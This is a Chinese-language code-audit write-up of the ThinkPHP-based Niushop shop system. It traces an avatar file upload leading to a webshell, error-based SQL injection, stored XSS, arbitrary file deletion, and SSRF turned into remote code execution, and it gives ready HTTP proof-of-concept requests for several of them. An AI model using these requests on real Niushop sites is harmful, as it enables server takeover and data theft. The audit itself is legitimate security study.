基于ThinkPHP的PHP代审——Niushop
前言:
本文为入门PHP代码审计的最后一篇,感觉在舒适区待太久了,越发想彻底躺平。果然……
ThinkPHP:
ThinkPHP是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架,其遵循Apache2开源协议发布,自从诞生以来一直秉承简洁实用的设计原则
相关函数介绍:
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
server()
方法用于指定$_SERVER
数组的元素,获取相关信息,类似的函数还有get()
、post()
用于获取通过GET方式传递的参数和POST传递的参数
public function input($data = [], $name = '', $default = null, $filter = '')
{
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter)) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
input()
方法用于获取经过过滤后的变量数据。若传递的$name
为字符串类型,$data
为原始的变量数据,若$data
不为数组类型,会调用filterValue()
方法递归过滤指定的值,参数$data
可以理解为键值,$name
为键名,$filter
为过滤方法,$default
为默认值。当$filter
为空时,将其设置为数组类型,并插入元素$default
。继续追踪filterValue()
方法:
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);
}
$filter
可以为常见的过滤方法或者是正则表达式或者是数字等,如strtolower()
,当$filters
为非空时,上述方法中会调用call_user_func()
调用回调函数处理字符串并重新赋值给$value
;当正则匹配失败时,$value
设置为默认值;当$filter
为数字时,此时其值为过滤器ID,会调用filter_var()
函数通过指定的过滤器过滤。最后函数会调用filterExp()
方法
public function filterExp(&$value)
{
// 过滤查询特殊字符
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
}
漏洞分析:
-
前台任意文件上传:
漏洞代码分析:/application/wap/controller/Upload.php
public function uploadFile()
{
$this->file_path = request()->post("file_path", ""); //获取文件上传路径
// 重新设置文件路径
$this->resetFilePath();
// 检测文件夹是否存在,不存在则创建文件夹
if (! file_exists($this->reset_file_path)) {
$mode = intval('0777', 8);
mkdir($this->reset_file_path, $mode, true);
}
$this->file_name = $_FILES["file_upload"]["name"]; // 文件原名
$this->file_size = $_FILES["file_upload"]["size"]; // 文件大小
$this->file_type = $_FILES["file_upload"]["type"]; // 文件类型
// 验证文件
if (! $this->validationFile()) {
return $this->ajaxFileReturn();
}
$guid = time();
$file_name_explode = explode(".", $this->file_name); // 图片名称
$suffix = count($file_name_explode) - 1;
$ext = "." . $file_name_explode[$suffix]; // 获取后缀名
$newfile = $guid . $ext; // 重新命名文件
$ok = $this->generateImage($newfile);
if ($ok["code"]) {
// 文件上传成功执行下边的操作
if (! strstr($this->reset_file_path, UPLOAD_VIDEO) && ! strstr($this->reset_file_path, GOODS_VIDEO_PATH) && ! strstr($this->reset_file_path, UPLOAD_FILE)) {
@unlink($_FILES['file_upload']);
$image_size = @getimagesize($ok["path"]); // 获取图片尺寸
if ($image_size) {
} else {
// 强制将文件后缀改掉,文件流不同会导致上传文件失败
$this->return['message'] = "请检查您的上传参数配置或上传的文件是否有误";
}
}
// 删除本地的图片
if ($this->upload_type == 2) {
@unlink($this->reset_file_path . $newfile);
}
} else {
// 强制将文件后缀改掉,文件流不同会导致上传文件失败
$this->return['message'] = "请检查您的上传参数配置或上传的文件是否有误";
}
return $this->ajaxFileReturn();
}
通过源码注释,我们先分析验证文件处的代码逻辑,追踪validationFile()
方法:
private function validationFile()
{
$flag = true;
switch ($this->file_path) {
case UPLOAD_AVATOR:
// 用户头像
if (($this->file_type != "image/gif" && $this->file_type != "image/png" && $this->file_type != "image/jpeg" && $this->file_type != "image/jpg") || $this->file_size > 1000000) {
$this->return['message'] = '文件上传失败,请检查您上传的文件类型,文件大小不能超过1MB';
$flag = false;
}
break;
}
return $flag;
}
代码中仅仅是对上传文件的类型进行了验证,并没有对后缀进行限制,可通过构造恶意数据包绕过MIME的限制。$newfile
上传文件名为当前时间戳拼接文件后缀名,可以很容易通过爆破找到上传的文件,继续追踪generateImage()
方法:
private function generateImage($newfile)
{
// 开启水印功能,目前只针对商品图片添加水印
if ($this->is_watermark && ! empty($this->imgWatermark) && $this->file_path == UPLOAD_GOODS) {
} else {
$ok = $this->moveUploadFile($_FILES["file_upload"]["tmp_name"], $this->reset_file_path . $newfile);
}
} catch (\Exception $e) {
// 水印图片不存在或者其他错误,则生成正常的图片
$ok = $this->moveUploadFile($_FILES["file_upload"]["tmp_name"], $this->reset_file_path . $newfile);
}
} else {
$ok = $this->moveUploadFile($_FILES["file_upload"]["tmp_name"], $this->reset_file_path . $newfile);
}
return $ok;
}
从上面代码可以发现,无论如何都会执行这一段代码:ok = $this->moveUploadFile($_FILES["file_upload"]["tmp_name"], $this->reset_file_path . $newfile);
,继续追踪,发现未经任何过滤直接使用move_uploaded_file()
函数上传文件到服务器:
注册用户登录后,修改用户头像GetShell:
-
前台SQL注入:
漏洞代码分析:application/wap/controller/Goods.php
public function promotionZone()
{
$platform = new Platform();
$goods = new GoodsService();
// 品牌专区广告位
$brand_adv = $platform->getPlatformAdvPositionDetailByApKeyword("goodsLabel");
$this->assign('brand_adv', $brand_adv);
if (request()->isAjax()) {
$page_index = request()->get('page', '1');
$group_id = request()->get("group_id", "");
$this->goods = new GoodsService();
$condition = "";
if (! empty($group_id)) {
$condition = "FIND_IN_SET(" . $group_id . ",ng.group_id_array)";
} else {
$condition['ng.group_id_array'] = array(
'neq',
''
);
}
$goods_list = $this->goods->getGoodsList($page_index, PAGESIZE, $condition, "", $group_id);
return $goods_list;
}
}
当发送ajax请求时,web应用会通过get()
方法来获取group_id参数值,这里并没有传递$filter
,也就是没有进行过滤处理。然后将$group_id
拼接其他字符串赋值给$condition
,将其作为参数之一放置到getGoodsList()
方法中
文件路径:data/service/Goods.php
public function getGoodsList($page_index = 1, $page_size = 0, $condition = '', $order = 'ng.sort asc,ng.create_time desc', $group_id = 0)
{
$goods_view = new NsGoodsViewModel();
$list = $goods_view->getGoodsViewList($page_index, $page_size, $condition, $order);
后续会调用各种函数,最终的sql语句为:
SELECT `ng`.`goods_id`,`ng`.`goods_name`,`ng`.`shop_id`,`ng`.`category_id`,`ng`.`brand_id`,`ng`.`group_id_array`,`ng`.`promotion_type`,`ng`.`goods_type`,`ng`.`market_price`,`ng`.`price`,`ng`.`promotion_price`,`ng`.`cost_price`,`ng`.`point_exchange_type`,`ng`.`point_exchange`,`ng`.`give_point`,`ng`.`is_member_discount`,`ng`.`shipping_fee`,`ng`.`shipping_fee_id`,`ng`.`stock`,`ng`.`max_buy`,`ng`.`min_stock_alarm`,`ng`.`clicks`,`ng`.`sales`,`ng`.`collects`,`ng`.`star`,`ng`.`evaluates`,`ng`.`shares`,`ng`.`province_id`,`ng`.`city_id`,`ng`.`picture`,`ng`.`keywords`,`ng`.`introduction`,`ng`.`description`,`ng`.`QRcode`,`ng`.`code`,`ng`.`is_stock_visible`,`ng`.`is_hot`,`ng`.`is_recommend`,`ng`.`is_new`,`ng`.`is_pre_sale`,`ng`.`is_bill`,`ng`.`state`,`ng`.`sale_date`,`ng`.`create_time`,`ng`.`update_time`,`ng`.`sort`,`ng`.`real_sales`,`ngb`.`brand_name`,`ngb`.`brand_pic`,`ngc`.`category_id`,`ngc`.`category_name`,`sap`.`pic_cover_micro`,`sap`.`pic_cover_mid`,`sap`.`pic_cover_small`,`nss`.`shop_name`,`nss`.`shop_type`,`sap`.`pic_id`,`sap`.`upload_type`,`sap`.`domain`,`sap`.`bucket` FROM `ns_goods` `ng` LEFT JOIN `ns_goods_category` `ngc` ON `ng`.`category_id`=`ngc`.`category_id` LEFT JOIN `ns_goods_brand` `ngb` ON `ng`.`brand_id`=`ngb`.`brand_id` LEFT JOIN `sys_album_picture` `sap` ON `ng`.`picture`=`sap`.`pic_id` LEFT JOIN `ns_shop` `nss` ON `ng`.`shop_id`=`nss`.`shop_id` WHERE ( FIND_IN_SET(extractvalue(1,concat(char(126),@@version)),ng.group_id_array) ) LIMIT 0,14
执行错误的SQL语句会触发异常,Web应用会抛出异常信息,可以通过报错注入获取敏感信息:
漏洞 POC:
GET /niushop/index.php?group_id=extractvalue%281%2Cconcat%28char%28126%29%2C@@version%29%29&page=1&s=%2Fwap%2FGoods%2FpromotionZone HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: RmT_qkey=OJj4W8XHI4TdRCTKj%2BZ1XB%2BXLRfcMtnh; RmT_search_cookie=bmRiF%2F2bjn52%2F9U%2Fne1RQwYsQ8NA9dQ1; remember-me=YWRtaW46MTY0ODk2NjAzNjkxMTphYWVlZGQ1ZGExZjIzOTA3MmZkOGI1ZGVjYmVhNDVjYg; goods_list_display_mode=big_img; PHPSESSID=07skgg165ko3aq73duhu21dv05
Referer: http://192.168.1.5/niushop/index.php?s=/wap/goods/promotionzone
X-Requested-With: XMLHttpRequest
Connection: close
注意:请求头必须包含:X-Requested-With: XMLHttpRequest
-
后台公告发布处存储型XSS:
漏洞代码分析:application/admin/controller/Config.php`
public function addOrModifyHomeNotice()
{
if (request()->isAjax()) {
$id = request()->post("id", 0);
$title = request()->post("title", "");
$content = request()->post("content", "");
$sort = request()->post("sort", 0);
$platform = new Platform();
$res = $platform->addOrModifyNotice($title, $content, $this->instance_id, $sort, $id);
return AjaxReturn($res);
}
}
通过post()方法获取post请求参数,然后调用addOrModifyNotice()
会将post参数以数组的形式赋值给$data
,然后会调用save()方法:
public function save($data = [], $where = [], $sequence = null){
$data = $this->htmlClear($data);
$retval = parent::save($data, $where, $sequence);
return $retval;
}
此时会调用htmlClear()
进行XSS过滤,但并不会对post参数content进行过滤,最后会调用insert()方法将content的内容插入的数据表ns_notice中:
访问公告信息触发XSS:
代码分析:application/shop/controller/Notice.php
这里主要关注view()
方法,该方法用于渲染模板输出,后面会调用thinkphp/library/think/Template.php的parseTag()
对模板标签进行解析,问题就出在模板文件上:template/shop/blue/Notice/detail.html
web应用程序会把$info['notice_content']
的HTML 实体转换为字符,然后直接输出到页面上,从而导致XSS漏洞:
漏洞POC:
POST /niushop/index.php?s=/admin/config/addOrModifyHomeNotice HTTP/1.1
Host: 172.16.33.47
Content-Length: 108
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.33.47
Referer: http://172.16.33.47/niushop/index.php?s=/admin/config/addHomeNotice
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: oPq_qkey=igjC9Tnllspm5GaufHua3UiFFZr78NxF; RmT_qkey=u68pXqUajMUeVB9syUFJHD%2F5h39gBDeq; PHPSESSID=g44ek90q09od9blq30e3rddup0; page_cookie=%7B%22page_index%22%3A1%2C%22show_number%22%3A14%2C%22url%22%3A%22http%3A%2F%2F172.16.33.47%2Fniushop%2Findex.php%3Fs%3D%2Fadmin%2Fgoods%2Fgoodsbrandlist%22%7D
Connection: close
title=XSS&content=%3Cp%3E123123%26%2339%3B%26quot%3B%26gt%3B%26lt%3Bimg%2Fsrc%3D666%26gt%3B%3C%2Fp%3E&sort=0
我有点疑惑,讲道理,像后台如果有发表文章或者公告的功能,那一般都会使用到编辑器,那么就很可能会使用到插入图片、超链接、表格等功能,那肯定得去解析HTML标签。那岂不是后台编辑器普遍都存在存储型XSS,但解析HTML又是业务需要,那该咋办呢?
-
前台任意文件删除:
代码分析:application/wap/controller/Components.php
public function deleteImgUpload()
{
$imgsrc = request()->post('imgsrc','');
$flag = @unlink($imgsrc);
return $flag;
}
这个嘛没啥好说的,主要考虑如何利用这个漏洞,比如删除lock文件然后进行重新安装
-
后台SSRF + RCE:
代码分析:data/extend/upgrade/Upgrade.php
public function update_file_download($download_url, $patch_release)
{
$upgrade_code=0;
$result=$this->create_upgrade_file($patch_release);
if($result["upgrade_code"]!=0){
return $result;
}
try {
$data = Http::doGet($download_url, 20);
$length_str=strlen($data);
if($length_str<500){
$upgrade_code=-1;
$upgrade_message="更新包下载有误!";
}else{
$fileName = explode('/', $download_url);
$fileName = end($fileName);
//初始化下载路径
$download_file_path=ROOT_PATH.'download/upgrade/'.'niushop_patch_'.$patch_release.'/';
$download_zip_path = $download_file_path.$fileName;
//处理解压路径
$update_name=str_replace(".zip", "", $fileName);
$download_update_file=$download_file_path.$update_name;
if (! @file_put_contents($download_zip_path, $data)) {
$upgrade_code=-1;
$upgrade_message="下载补丁包失败!下载路径:".$download_url;
}
}
}
}
调用create_upgrade_file()
创建上传目录,然后引用Http类的静态方法doGet()
,$download_url
作为参数
static public function doGet($url,$timeout=5,$header="") {
if(empty($url)||empty($timeout))
return false;
if(!preg_match('/^(http|https)/is',$url))
$url="http://".$url;
$code=self::getSupport();
switch($code)
{
case 1:return self::curlGet($url,$timeout,$header);break;
case 2:return self::socketGet($url,$timeout,$header);break;
case 3:return self::phpGet($url,$timeout,$header);break;
default:return false;
}
}
doGet()
方法会检测$url
是否以http或者https开头,调用getSupport()
用于自动获取发出HTTP请求的方法:
按照先后顺序,web应用会利用curl_exec()
发送HTTP请求,并将响应结果赋值给$data
当响应包长度大于500时,会调用file_put_contents()
将$data
写入到补丁包路径中,$download_zip_path
会拼接$download_url
的文件名作为写入文件名。
分析到此,当web应用调用update_file_download()
时,服务器会向$download_url
所指向的url发出HTTP请求,这里并没有对内网地址进行过滤,存在SSRF漏洞。当响应长度大于500时,web服务器会将响应结果写入到某个文件中,这个文件名可控。如果我们让自己的VPS开启web服务,但不解析php,访问php文件直接将源码显示到页面,web服务器将恶意源码写入到自己的web目录下,就能达到RCE的效果。
漏洞复现:
1、VPS开启web服务,但不解析PHP,访问结果大致如下:
2、构造HTTP请求包发送给服务端:
POST /niushop/index.php?s=admin/Upgradeonline/downloadPatchZip HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: remember-me=YWRtaW46MTY0ODk2NjAzNjkxMTphYWVlZGQ1ZGExZjIzOTA3MmZkOGI1ZGVjYmVhNDVjYg; PHPSESSID=8at4trnm6lm2na9d7ssnrc8a04
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
download_url=http://192.168.107.155/info.php
3、验证是否成功写入php文件:
http://127.0.0.1/niushop/download/upgrade/niushop_patch_/info.php